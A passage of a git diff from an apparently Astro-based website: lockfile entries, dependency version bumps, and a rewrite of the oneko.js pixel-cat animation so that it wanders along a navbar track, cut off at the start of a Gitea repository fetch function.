"unstorage/chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="],
|
||||
|
||||
"vite/esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="],
|
||||
"volar-service-typescript/semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
|
||||
|
||||
"vscode-json-languageservice/jsonc-parser": ["jsonc-parser@3.3.1", "", {}, "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ=="],
|
||||
|
||||
"widest-line/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
|
||||
|
||||
"wrap-ansi/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
|
||||
|
||||
"wrap-ansi/strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="],
|
||||
|
||||
"yaml-language-server/request-light": ["request-light@0.5.8", "", {}, "sha512-3Zjgh+8b5fhRJBQZoy+zbVKpAQGLyka0MPgW3zruTF4dFFJ8Fqcfu9YsAvi/rvdcaTeWG3MkbZv4WKxAn/84Lg=="],
|
||||
|
||||
"yaml-language-server/yaml": ["yaml@2.7.1", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-10ULxpnOCQXxJvBgxsn9ptjq6uviG/htZKk9veJGhlqn3w/DxQ631zFF+nlQXLwmImeS5amR2dl2U8sg6U9jsQ=="],
|
||||
|
||||
"zod-to-ts/zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="],
|
||||
|
||||
"boxen/string-width/emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
|
||||
|
||||
"boxen/string-width/strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="],
|
||||
|
||||
"cliui/wrap-ansi/ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
|
||||
"yargs/yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="],
|
||||
|
||||
"csso/css-tree/mdn-data": ["mdn-data@2.0.28", "", {}, "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g=="],
|
||||
|
||||
"unstorage/chokidar/readdirp": ["readdirp@5.0.0", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="],
|
||||
|
||||
"vite/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.12", "", { "os": "aix", "cpu": "ppc64" }, "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA=="],
|
||||
|
||||
"vite/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.25.12", "", { "os": "android", "cpu": "arm" }, "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.12", "", { "os": "android", "cpu": "arm64" }, "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.25.12", "", { "os": "android", "cpu": "x64" }, "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.12", "", { "os": "darwin", "cpu": "arm64" }, "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.12", "", { "os": "darwin", "cpu": "x64" }, "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA=="],
|
||||
|
||||
"vite/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.12", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.12", "", { "os": "freebsd", "cpu": "x64" }, "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.12", "", { "os": "linux", "cpu": "arm" }, "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.12", "", { "os": "linux", "cpu": "arm64" }, "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.12", "", { "os": "linux", "cpu": "ia32" }, "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.12", "", { "os": "linux", "cpu": "ppc64" }, "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.12", "", { "os": "linux", "cpu": "s390x" }, "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.12", "", { "os": "linux", "cpu": "x64" }, "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw=="],
|
||||
|
||||
"vite/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.12", "", { "os": "none", "cpu": "arm64" }, "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.12", "", { "os": "none", "cpu": "x64" }, "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ=="],
|
||||
|
||||
"vite/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.12", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A=="],
|
||||
|
||||
"vite/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.12", "", { "os": "openbsd", "cpu": "x64" }, "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw=="],
|
||||
|
||||
"vite/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.25.12", "", { "os": "none", "cpu": "arm64" }, "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.12", "", { "os": "sunos", "cpu": "x64" }, "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w=="],
|
||||
|
||||
"vite/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.12", "", { "os": "win32", "cpu": "arm64" }, "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg=="],
|
||||
|
||||
"vite/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.12", "", { "os": "win32", "cpu": "ia32" }, "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ=="],
|
||||
|
||||
"vite/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="],
|
||||
|
||||
"widest-line/string-width/emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
|
||||
|
||||
"widest-line/string-width/strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="],
|
||||
|
||||
"wrap-ansi/string-width/emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
|
||||
|
||||
"wrap-ansi/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
|
||||
|
||||
"boxen/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
|
||||
|
||||
"widest-line/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
|
||||
}
|
||||
}
|
||||
|
||||
+4
-3
@@ -12,16 +12,17 @@
|
||||
"fetch-data": "bun run scripts/fetch-repos.ts"
|
||||
},
|
||||
"dependencies": {
|
||||
"@astrojs/mdx": "^4.3.14",
|
||||
"@astrojs/mdx": "5.0.4",
|
||||
"@astrojs/rss": "^4.0.18",
|
||||
"@astrojs/sitemap": "^3.7.2",
|
||||
"@astrojs/svelte": "^8.1.0",
|
||||
"@lucide/astro": "^0.552.0",
|
||||
"@tailwindcss/vite": "^4.2.4",
|
||||
"@types/bun": "^1.3.13",
|
||||
"astro": "^5.18.1",
|
||||
"astro": "6.1.10",
|
||||
"daisyui": "^5.5.19",
|
||||
"lucide-astro": "^0.556.0",
|
||||
"node-html-parser": "^7.1.0",
|
||||
"svelte": "^5.55.5",
|
||||
"tailwindcss": "^4.2.4"
|
||||
},
|
||||
"devDependencies": {
|
||||
|
||||
+104
-204
@@ -1,27 +1,11 @@
|
||||
// oneko.js: https://github.com/adryd325/oneko.js
|
||||
// oneko.js — navbar wanderer (based on https://github.com/adryd325/oneko.js)
|
||||
|
||||
(function oneko() {
|
||||
const isReducedMotion =
|
||||
window.matchMedia(`(prefers-reduced-motion: reduce)`) === true ||
|
||||
window.matchMedia(`(prefers-reduced-motion: reduce)`).matches === true;
|
||||
if (window.matchMedia("(prefers-reduced-motion: reduce)").matches) return;
|
||||
|
||||
if (isReducedMotion) return;
|
||||
const SIZE = 32;
|
||||
const SPEED = 10;
|
||||
|
||||
const nekoEl = document.createElement("div");
|
||||
let persistPosition = true;
|
||||
|
||||
let nekoPosX = 32;
|
||||
let nekoPosY = 32;
|
||||
|
||||
let mousePosX = 0;
|
||||
let mousePosY = 0;
|
||||
|
||||
let frameCount = 0;
|
||||
let idleTime = 0;
|
||||
let idleAnimation = null;
|
||||
let idleAnimationFrame = 0;
|
||||
|
||||
const nekoSpeed = 10;
|
||||
const spriteSets = {
|
||||
idle: [[-3, -3]],
|
||||
alert: [[-7, -3]],
|
||||
@@ -30,14 +14,6 @@
|
||||
[-6, 0],
|
||||
[-7, 0],
|
||||
],
|
||||
scratchWallN: [
|
||||
[0, 0],
|
||||
[0, -1],
|
||||
],
|
||||
scratchWallS: [
|
||||
[-7, -1],
|
||||
[-6, -2],
|
||||
],
|
||||
scratchWallE: [
|
||||
[-2, -2],
|
||||
[-2, -3],
|
||||
@@ -51,234 +27,158 @@
|
||||
[-2, 0],
|
||||
[-2, -1],
|
||||
],
|
||||
N: [
|
||||
[-1, -2],
|
||||
[-1, -3],
|
||||
],
|
||||
NE: [
|
||||
[0, -2],
|
||||
[0, -3],
|
||||
],
|
||||
E: [
|
||||
[-3, 0],
|
||||
[-3, -1],
|
||||
],
|
||||
SE: [
|
||||
[-5, -1],
|
||||
[-5, -2],
|
||||
],
|
||||
S: [
|
||||
[-6, -3],
|
||||
[-7, -2],
|
||||
],
|
||||
SW: [
|
||||
[-5, -3],
|
||||
[-6, -1],
|
||||
],
|
||||
W: [
|
||||
[-4, -2],
|
||||
[-4, -3],
|
||||
],
|
||||
NW: [
|
||||
[-1, 0],
|
||||
[-1, -1],
|
||||
],
|
||||
};
|
||||
|
||||
function init() {
|
||||
let nekoFile = "/oneko.gif";
|
||||
const curScript = document.currentScript;
|
||||
if (curScript && curScript.dataset.cat) {
|
||||
nekoFile = curScript.dataset.cat;
|
||||
}
|
||||
if (curScript && curScript.dataset.persistPosition) {
|
||||
if (curScript.dataset.persistPosition === "") {
|
||||
persistPosition = true;
|
||||
} else {
|
||||
persistPosition = JSON.parse(
|
||||
curScript.dataset.persistPosition.toLowerCase(),
|
||||
);
|
||||
}
|
||||
}
|
||||
const track = document.getElementById("oneko-track");
|
||||
if (!track) return;
|
||||
|
||||
if (persistPosition) {
|
||||
let storedNeko = JSON.parse(window.localStorage.getItem("oneko"));
|
||||
if (storedNeko !== null) {
|
||||
nekoPosX = storedNeko.nekoPosX;
|
||||
nekoPosY = storedNeko.nekoPosY;
|
||||
mousePosX = storedNeko.mousePosX;
|
||||
mousePosY = storedNeko.mousePosY;
|
||||
frameCount = storedNeko.frameCount;
|
||||
idleTime = storedNeko.idleTime;
|
||||
idleAnimation = storedNeko.idleAnimation;
|
||||
idleAnimationFrame = storedNeko.idleAnimationFrame;
|
||||
nekoEl.style.backgroundPosition = storedNeko.bgPos;
|
||||
const el = document.createElement("div");
|
||||
el.id = "oneko";
|
||||
el.ariaHidden = "true";
|
||||
el.style.width = `${SIZE}px`;
|
||||
el.style.height = `${SIZE}px`;
|
||||
el.style.position = "absolute";
|
||||
el.style.bottom = "0";
|
||||
el.style.pointerEvents = "none";
|
||||
el.style.imageRendering = "pixelated";
|
||||
el.style.zIndex = "2147483647";
|
||||
el.style.backgroundImage = "url(/oneko.gif)";
|
||||
track.appendChild(el);
|
||||
|
||||
function maxX() {
|
||||
return track.offsetWidth - SIZE;
|
||||
}
|
||||
function clamp(v, lo, hi) {
|
||||
return Math.max(lo, Math.min(hi, v));
|
||||
}
|
||||
|
||||
nekoEl.id = "oneko";
|
||||
nekoEl.ariaHidden = true;
|
||||
nekoEl.style.width = "32px";
|
||||
nekoEl.style.height = "32px";
|
||||
nekoEl.style.position = "fixed";
|
||||
nekoEl.style.pointerEvents = "none";
|
||||
nekoEl.style.imageRendering = "pixelated";
|
||||
nekoEl.style.left = `${nekoPosX - 16}px`;
|
||||
nekoEl.style.top = `${nekoPosY - 16}px`;
|
||||
nekoEl.style.zIndex = 2147483647;
|
||||
|
||||
nekoEl.style.backgroundImage = `url(${nekoFile})`;
|
||||
|
||||
document.body.appendChild(nekoEl);
|
||||
|
||||
document.addEventListener("mousemove", function (event) {
|
||||
mousePosX = event.clientX;
|
||||
mousePosY = event.clientY;
|
||||
});
|
||||
|
||||
if (persistPosition) {
|
||||
window.addEventListener("beforeunload", function (_event) {
|
||||
window.localStorage.setItem(
|
||||
"oneko",
|
||||
JSON.stringify({
|
||||
nekoPosX: nekoPosX,
|
||||
nekoPosY: nekoPosY,
|
||||
mousePosX: mousePosX,
|
||||
mousePosY: mousePosY,
|
||||
frameCount: frameCount,
|
||||
idleTime: idleTime,
|
||||
idleAnimation: idleAnimation,
|
||||
idleAnimationFrame: idleAnimationFrame,
|
||||
bgPos: nekoEl.style.backgroundPosition,
|
||||
}),
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
window.requestAnimationFrame(onAnimationFrame);
|
||||
}
|
||||
|
||||
let lastFrameTimestamp;
|
||||
|
||||
function onAnimationFrame(timestamp) {
|
||||
// Stops execution if the neko element is removed from DOM
|
||||
if (!nekoEl.isConnected) {
|
||||
return;
|
||||
}
|
||||
if (!lastFrameTimestamp) {
|
||||
lastFrameTimestamp = timestamp;
|
||||
}
|
||||
if (timestamp - lastFrameTimestamp > 100) {
|
||||
lastFrameTimestamp = timestamp;
|
||||
frame();
|
||||
}
|
||||
window.requestAnimationFrame(onAnimationFrame);
|
||||
function randomTarget() {
|
||||
return Math.random() * maxX();
|
||||
}
|
||||
|
||||
function setSprite(name, frame) {
|
||||
const sprite = spriteSets[name][frame % spriteSets[name].length];
|
||||
nekoEl.style.backgroundPosition = `${sprite[0] * 32}px ${sprite[1] * 32}px`;
|
||||
const s = spriteSets[name][frame % spriteSets[name].length];
|
||||
el.style.backgroundPosition = `${s[0] * SIZE}px ${s[1] * SIZE}px`;
|
||||
}
|
||||
|
||||
function resetIdleAnimation() {
|
||||
idleAnimation = null;
|
||||
idleAnimationFrame = 0;
|
||||
let posX = randomTarget();
|
||||
let targetX = posX;
|
||||
el.style.left = `${posX}px`;
|
||||
|
||||
let frameCount = 0;
|
||||
let idleTime = 0;
|
||||
let idleAnim = null;
|
||||
let idleAnimFrame = 0;
|
||||
let lastTs = null;
|
||||
|
||||
function resetIdle() {
|
||||
idleAnim = null;
|
||||
idleAnimFrame = 0;
|
||||
}
|
||||
|
||||
function idle() {
|
||||
idleTime += 1;
|
||||
idleTime++;
|
||||
|
||||
if (idleTime > 40 && Math.floor(Math.random() * 120) === 0) {
|
||||
targetX = randomTarget();
|
||||
idleTime = 0;
|
||||
resetIdle();
|
||||
return;
|
||||
}
|
||||
|
||||
// every ~ 20 seconds
|
||||
if (
|
||||
idleTime > 10 &&
|
||||
Math.floor(Math.random() * 200) == 0 &&
|
||||
idleAnimation == null
|
||||
idleTime > 15 &&
|
||||
idleAnim == null &&
|
||||
Math.floor(Math.random() * 180) === 0
|
||||
) {
|
||||
let avalibleIdleAnimations = ["sleeping", "scratchSelf"];
|
||||
if (nekoPosX < 32) {
|
||||
avalibleIdleAnimations.push("scratchWallW");
|
||||
}
|
||||
if (nekoPosY < 32) {
|
||||
avalibleIdleAnimations.push("scratchWallN");
|
||||
}
|
||||
if (nekoPosX > window.innerWidth - 32) {
|
||||
avalibleIdleAnimations.push("scratchWallE");
|
||||
}
|
||||
if (nekoPosY > window.innerHeight - 32) {
|
||||
avalibleIdleAnimations.push("scratchWallS");
|
||||
}
|
||||
idleAnimation =
|
||||
avalibleIdleAnimations[
|
||||
Math.floor(Math.random() * avalibleIdleAnimations.length)
|
||||
];
|
||||
const opts = ["sleeping", "scratchSelf"];
|
||||
if (posX <= SIZE) opts.push("scratchWallW");
|
||||
if (posX >= maxX() - SIZE) opts.push("scratchWallE");
|
||||
idleAnim = opts[Math.floor(Math.random() * opts.length)];
|
||||
}
|
||||
|
||||
switch (idleAnimation) {
|
||||
switch (idleAnim) {
|
||||
case "sleeping":
|
||||
if (idleAnimationFrame < 8) {
|
||||
if (idleAnimFrame < 8) {
|
||||
setSprite("tired", 0);
|
||||
break;
|
||||
}
|
||||
setSprite("sleeping", Math.floor(idleAnimationFrame / 4));
|
||||
if (idleAnimationFrame > 192) {
|
||||
resetIdleAnimation();
|
||||
}
|
||||
setSprite("sleeping", Math.floor(idleAnimFrame / 4));
|
||||
if (idleAnimFrame > 192) resetIdle();
|
||||
break;
|
||||
case "scratchWallN":
|
||||
case "scratchWallS":
|
||||
case "scratchWallE":
|
||||
case "scratchWallW":
|
||||
case "scratchSelf":
|
||||
setSprite(idleAnimation, idleAnimationFrame);
|
||||
if (idleAnimationFrame > 9) {
|
||||
resetIdleAnimation();
|
||||
}
|
||||
setSprite(idleAnim, idleAnimFrame);
|
||||
if (idleAnimFrame > 9) resetIdle();
|
||||
break;
|
||||
default:
|
||||
setSprite("idle", 0);
|
||||
return;
|
||||
}
|
||||
idleAnimationFrame += 1;
|
||||
idleAnimFrame++;
|
||||
}
|
||||
|
||||
function frame() {
|
||||
frameCount += 1;
|
||||
const diffX = nekoPosX - mousePosX;
|
||||
const diffY = nekoPosY - mousePosY;
|
||||
const distance = Math.sqrt(diffX ** 2 + diffY ** 2);
|
||||
frameCount++;
|
||||
const diff = targetX - posX;
|
||||
const dist = Math.abs(diff);
|
||||
|
||||
if (distance < nekoSpeed || distance < 48) {
|
||||
if (dist < SPEED) {
|
||||
posX = targetX;
|
||||
idle();
|
||||
return;
|
||||
}
|
||||
|
||||
idleAnimation = null;
|
||||
idleAnimationFrame = 0;
|
||||
resetIdle();
|
||||
|
||||
if (idleTime > 1) {
|
||||
if (idleTime > 5) {
|
||||
setSprite("alert", 0);
|
||||
// count down after being alerted before moving
|
||||
idleTime = Math.min(idleTime, 7);
|
||||
idleTime -= 1;
|
||||
idleTime = Math.min(idleTime, 7) - 1;
|
||||
return;
|
||||
}
|
||||
idleTime = 0;
|
||||
|
||||
let direction;
|
||||
direction = diffY / distance > 0.5 ? "N" : "";
|
||||
direction += diffY / distance < -0.5 ? "S" : "";
|
||||
direction += diffX / distance > 0.5 ? "W" : "";
|
||||
direction += diffX / distance < -0.5 ? "E" : "";
|
||||
setSprite(direction, frameCount);
|
||||
|
||||
nekoPosX -= (diffX / distance) * nekoSpeed;
|
||||
nekoPosY -= (diffY / distance) * nekoSpeed;
|
||||
|
||||
nekoPosX = Math.min(Math.max(16, nekoPosX), window.innerWidth - 16);
|
||||
nekoPosY = Math.min(Math.max(16, nekoPosY), window.innerHeight - 16);
|
||||
|
||||
nekoEl.style.left = `${nekoPosX - 16}px`;
|
||||
nekoEl.style.top = `${nekoPosY - 16}px`;
|
||||
setSprite(diff > 0 ? "E" : "W", frameCount);
|
||||
posX = clamp(posX + (diff > 0 ? SPEED : -SPEED), 0, maxX());
|
||||
el.style.left = `${posX}px`;
|
||||
}
|
||||
|
||||
init();
|
||||
function loop(ts) {
|
||||
if (!el.isConnected) return;
|
||||
if (!lastTs) lastTs = ts;
|
||||
if (ts - lastTs > 100) {
|
||||
lastTs = ts;
|
||||
frame();
|
||||
}
|
||||
window.requestAnimationFrame(loop);
|
||||
}
|
||||
|
||||
let lastTrackWidth = track.offsetWidth;
|
||||
window.addEventListener("resize", () => {
|
||||
const newWidth = track.offsetWidth;
|
||||
if (lastTrackWidth > 0) {
|
||||
const ratio = newWidth / lastTrackWidth;
|
||||
posX = clamp(posX * ratio, 0, maxX());
|
||||
targetX = clamp(targetX * ratio, 0, maxX());
|
||||
el.style.left = `${posX}px`;
|
||||
}
|
||||
lastTrackWidth = newWidth;
|
||||
});
|
||||
|
||||
setTimeout(
|
||||
() => {
|
||||
targetX = randomTarget();
|
||||
},
|
||||
800 + Math.random() * 1500,
|
||||
);
|
||||
|
||||
window.requestAnimationFrame(loop);
|
||||
})();
|
||||
|
||||
+7
-14
@@ -53,28 +53,24 @@ async function checkMirrors(repoName: string): Promise<RepoMirrors> {
|
||||
export async function fetchGiteaRepos(): Promise<GiteaRepoWithMirrors[]> {
|
||||
try {
|
||||
const res = await fetch(
|
||||
